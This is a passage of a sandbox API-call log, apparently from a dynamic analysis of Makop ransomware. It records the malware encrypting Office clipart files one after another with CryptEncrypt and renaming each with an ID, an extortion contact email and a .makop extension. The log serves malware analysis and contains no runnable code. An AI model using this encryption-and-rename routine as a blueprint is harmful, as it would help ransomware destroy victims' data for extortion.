nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.815] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.815] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.815] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.816] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.816] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.816] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.816] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5f8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5f8, lpOverlapped=0x0) returned 1 [0114.816] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x600, dwBufLen=0x600 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x600) returned 1 [0114.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.816] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x600, lpOverlapped=0x0) returned 1 [0114.817] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.817] SetEndOfFile (hFile=0xf0) returned 1 [0114.823] GetProcessHeap () returned 0x48a0000 [0114.823] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.823] GetProcessHeap () returned 0x48a0000 [0114.823] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.823] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.823] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.825] CloseHandle (hObject=0xf0) returned 1 [0114.825] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38a5000, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe38a5000, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1 [0114.825] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0114.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.827] GetProcessHeap () returned 0x48a0000 [0114.827] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.827] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.827] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0114.832] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.832] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.832] GetProcessHeap () returned 0x48a0000 [0114.832] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.832] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.832] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.832] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.833] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.833] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.833] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.833] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.833] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.833] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.834] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.834] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.834] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xce2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xce2, lpOverlapped=0x0) returned 1 [0114.834] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcf0, dwBufLen=0xcf0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcf0) returned 1 [0114.834] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.834] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xcf0, lpOverlapped=0x0) returned 1 [0114.834] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.834] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xdc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.834] SetEndOfFile (hFile=0xf0) returned 1 [0114.841] GetProcessHeap () returned 0x48a0000 [0114.841] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.841] GetProcessHeap () returned 0x48a0000 [0114.841] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.841] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.841] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.842] CloseHandle (hObject=0xf0) returned 1 [0114.843] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9cafd00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9cafd00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00513_.WMF", cAlternateFileName="")) returned 1 [0114.843] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0114.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.844] GetProcessHeap () returned 0x48a0000 [0114.844] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.844] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.844] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.844] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0114.849] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.849] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.849] GetProcessHeap () returned 0x48a0000 [0114.849] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.849] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.849] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.849] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.849] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.849] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.850] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.850] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.850] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.850] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.850] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.850] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.850] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x332, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x332, lpOverlapped=0x0) returned 1 [0114.850] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x340, dwBufLen=0x340 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x340) returned 1 [0114.850] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.851] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x340, lpOverlapped=0x0) returned 1 [0114.851] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.851] SetEndOfFile (hFile=0xf0) returned 1 [0114.858] GetProcessHeap () returned 0x48a0000 [0114.858] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.858] GetProcessHeap () returned 0x48a0000 [0114.858] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.858] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.858] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.860] CloseHandle (hObject=0xf0) returned 1 [0114.860] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6576c00, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6576c00, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1 [0114.861] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0114.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.861] GetProcessHeap () returned 0x48a0000 [0114.861] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.862] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.862] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.862] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.862] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.862] GetProcessHeap () returned 0x48a0000 [0114.862] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.862] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.862] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.862] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.868] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.868] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.868] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.868] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.868] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.868] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.869] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.869] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3960, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3960, lpOverlapped=0x0) returned 1 [0114.871] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3960, dwBufLen=0x3960 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3960) returned 1 [0114.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.871] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3960, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3960, lpOverlapped=0x0) returned 1 [0114.872] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.872] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.872] SetEndOfFile (hFile=0xf0) returned 1 [0114.879] GetProcessHeap () returned 0x48a0000 [0114.879] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.879] GetProcessHeap () returned 0x48a0000 [0114.879] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.879] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.880] CloseHandle (hObject=0xf0) returned 1 [0114.880] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f51200, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3f51200, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1 [0114.880] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0114.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.881] GetProcessHeap () returned 0x48a0000 [0114.881] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.881] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.881] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.881] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0114.887] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.887] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.887] GetProcessHeap () returned 0x48a0000 [0114.887] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.887] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: 